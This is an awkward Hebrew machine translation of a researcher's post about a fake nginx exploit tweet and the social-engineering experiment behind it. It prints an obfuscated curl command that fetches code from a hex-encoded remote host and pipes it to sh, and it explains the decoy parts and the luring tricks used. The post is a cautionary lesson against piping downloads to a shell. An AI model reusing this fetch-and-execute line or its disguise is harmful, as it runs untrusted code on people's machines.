הצלחה של ניסוי חברתי עם ניצול מזויף של nginx

הערה. תרגום: מחבר הערה מקורית, שפורסמה ב-1 ביוני, החליטה לערוך ניסוי בקרב המתעניינים באבטחת מידע. לשם כך, הוא הכין ניצול מזויף לפגיעות לא ידועה בשרת האינטרנט ופרסם אותו בטוויטר שלו. ההנחות שלו - להיחשף מיידית על ידי מומחים שיראו את ההונאה הברורה בקוד - לא רק שלא התגשמו... הן עלו על כל הציפיות, ובכיוון ההפוך: הציוץ זכה לתמיכה עצומה מאנשים רבים שלא. לבדוק את תוכנו.

TL;DR: אל תשתמש בצינור קבצים ב-sh או bash בשום מקרה. זוהי דרך מצוינת לאבד שליטה על המחשב שלך.

אני רוצה לשתף אתכם בסיפור קצר על ניצול קומי של PoC שנוצר ב-31 במאי. הוא הופיע מייד בתגובה לחדשות מ עליזה אסייג' שבצ'נקו, חבר יוזמת יום אפס (ZDI), שמידע על פגיעות ב-NGINX המובילה ל-RCE (ביצוע קוד מרחוק) ייחשף בקרוב. מכיוון ש-NGINX מפעילה אתרים רבים, החדשות בוודאי היו פצצה. אך עקב עיכובים בתהליך "החשיפה האחראית", הפרטים על מה שקרה לא היו ידועים - זהו נוהל ZDI סטנדרטי.

צִיוּץ על חשיפת פגיעות ב-NGINX

לאחר שסיימתי לעבוד על טכניקת ערפול חדשה בסלסול, ציטטתי את הציוץ המקורי ו"הדלפתי PoC עובד" המורכבת משורה אחת של קוד שמנצלת כביכול את הפגיעות שהתגלתה. כמובן, זו הייתה שטות גמורה. הנחתי שמיד אחשוף, ובמקרה הטוב אקבל כמה ריטוויטים (נו טוב).

צִיוּץ עם ניצול מזויף

עם זאת, לא יכולתי לדמיין מה קרה אחר כך. הפופולריות של הציוץ שלי זינקה. באופן מפתיע, כרגע (15:00 שעון מוסקבה, 1 ביוני) מעטים הבינו שמדובר בזיוף. אנשים רבים מצייצים אותו מחדש מבלי לבדוק אותו כלל (שלא לדבר על להתפעל מגרפיקת ה-ASCII המקסימה שהוא מוציא).

רק תראו כמה זה יפה!

למרות שכל הלולאות והצבעים האלה נהדרים, ברור שאנשים היו צריכים להריץ קוד על המחשב שלהם כדי לראות אותם. למרבה המזל, דפדפנים פועלים באותה צורה, ובשילוב עם העובדה שלא ממש רציתי להסתבך בבעיות משפטיות, הקוד הקבור באתר שלי היה רק ​​ביצוע שיחות הד מבלי לנסות להתקין או להפעיל קוד נוסף.

סטייה קטנה: מפחיד, DNZ, אני והחבר'ה האחרים מהצוות המונים שיחקנו עם דרכים שונות לטשטש פקודות תלתל כבר זמן מה כי זה מגניב... ואנחנו גיקים. netspooky ו-dnz גילו כמה שיטות חדשות שנראו לי מאוד מבטיחות. הצטרפתי לכיף וניסיתי להוסיף המרות עשרוניות IP לשקית הטריקים. מסתבר שניתן להמיר IP גם לפורמט הקסדצימלי. יתר על כן, סלסל ורוב כלי ה-NIX האחרים אוכלים בשמחה כתובות IP הקסדצימליות! אז זה היה רק ​​עניין של יצירת שורת פקודה משכנעת ומאובטחת למראה. בסופו של דבר התפשרתי על זה:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

הנדסה חברתית-אלקטרונית (SEE) - יותר מסתם דיוג

בטיחות והיכרות היו חלק מרכזי בניסוי זה. אני חושב שהם מה שהובילו להצלחה שלו. שורת הפקודה מרמזת בבירור על אבטחה על ידי הפניה ל-"127.0.0.1" (המארח המקומי הידוע). Localhost נחשב מאובטח והנתונים בו לעולם אינם יוצאים מהמחשב שלך.

היכרות הייתה מרכיב ה-SEE המפתח השני של הניסוי. מכיוון שקהל היעד כלל בעיקר אנשים שמכירים את יסודות אבטחת המחשב, היה חשוב ליצור קוד כך שחלקים ממנו ייראו מוכרים ומוכרים (ולכן בטוחים). השאלת אלמנטים של מושגי ניצול ישנים ושילובם בצורה יוצאת דופן הוכיחה את עצמה כמוצלחת מאוד.

להלן ניתוח מפורט של ה-one-liner. כל דבר ברשימה הזו נשחק אופי קוסמטי, ולמעשה שום דבר לא נדרש להפעלתו בפועל.

אילו רכיבים באמת נחוצים? זֶה -gsS, -O 0x0238f06a, |sh ושרת האינטרנט עצמו. שרת האינטרנט לא הכיל הוראות זדוניות, אלא פשוט הגיש גרפיקת ASCII באמצעות פקודות echo בתסריט הכלול ב index.html. כאשר המשתמש נכנס בשורה עם |sh באמצע, index.html נטען ומבוצע. למרבה המזל, לאפוטרופוסים של שרת האינטרנט לא היו כוונות רעות.

• ../../../%00 - מייצג מעבר לספרייה;
• ngx_stream_module.so - נתיב למודול NGINX אקראי;
• /bin/sh%00<'protocol:TCP' - אנחנו כביכול משיקים /bin/sh על מכונת היעד ולהפנות את הפלט לערוץ TCP;
• -O 0x0238f06a#PLToffset - מרכיב סודי, בתוספת #PLToffset, להיראות כמו קיזוז זיכרון הכלול איכשהו ב-PLT;
• |sh; - עוד קטע חשוב. היינו צריכים להפנות את הפלט ל-sh/bash כדי להפעיל את הקוד שמגיע משרת האינטרנט התוקף שנמצא בכתובת 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - דמה שבה מתייחס netcat /dev/tcp/localhostכדי שהכל ייראה בטוח שוב. למעשה, זה לא עושה כלום ונכלל בשורה ליופי.

בכך מסתיים הפענוח של התסריט בעל השורה האחת והדיון בהיבטים של "הנדסה חברתית-אלקטרונית" (דיוג מסובך).

תצורת שרת אינטרנט ואמצעי נגד

מכיוון שהרוב המכריע של המנויים שלי הם infosec/האקרים, החלטתי להפוך את שרת האינטרנט לקצת יותר עמיד בפני גילויי "עניין" מצידם, רק כדי שיהיה לחבר'ה מה לעשות (ויהיה כיף לעשות להכין). אני לא מתכוון לפרט את כל המלכודות כאן מכיוון שהניסוי עדיין נמשך, אבל הנה כמה דברים שהשרת עושה:

• עוקב באופן פעיל אחר ניסיונות הפצה ברשתות חברתיות מסוימות ומחליף תמונות ממוזערות מקדימות שונות כדי לעודד את המשתמש ללחוץ על הקישור.
• מפנה מחדש את Chrome/Mozilla/Safari/וכו' לסרטון הקידום של Thugcrowd במקום להציג את סקריפט המעטפת.
• צופה בסימנים ברורים של חדירה/פריצה בוטה, ואז מתחיל להפנות בקשות לשרתי NSA (הא!).
• מתקין טרויאני, כמו גם rootkit BIOS, בכל המחשבים שהמשתמשים שלהם מבקרים את המארח מדפדפן רגיל (סתם!).

חלק קטן מהאנטימר

במקרה הזה, המטרה היחידה שלי הייתה לשלוט בכמה מהתכונות של Apache - בפרט, הכללים המגניבים להפניית בקשות - וחשבתי: למה לא?

ניצול NGINX (אמיתי!)

הירשם ל- @alisaesage בטוויטר ועקוב אחר העבודה הנהדרת של ZDI בטיפול בפרצות אמיתיות מאוד וניצול הזדמנויות ב-NGINX. העבודה שלהם תמיד ריתקה אותי ואני אסיר תודה לאליס על הסבלנות שלה עם כל האזכורים וההתראות שהציוץ המטופש שלי גרם. למרבה המזל, זה גם עשה טוב: זה עזר להעלות את המודעות לפגיעויות של NGINX, כמו גם לבעיות שנגרמו משימוש לרעה בתלתלים.

מקור: www.habr.com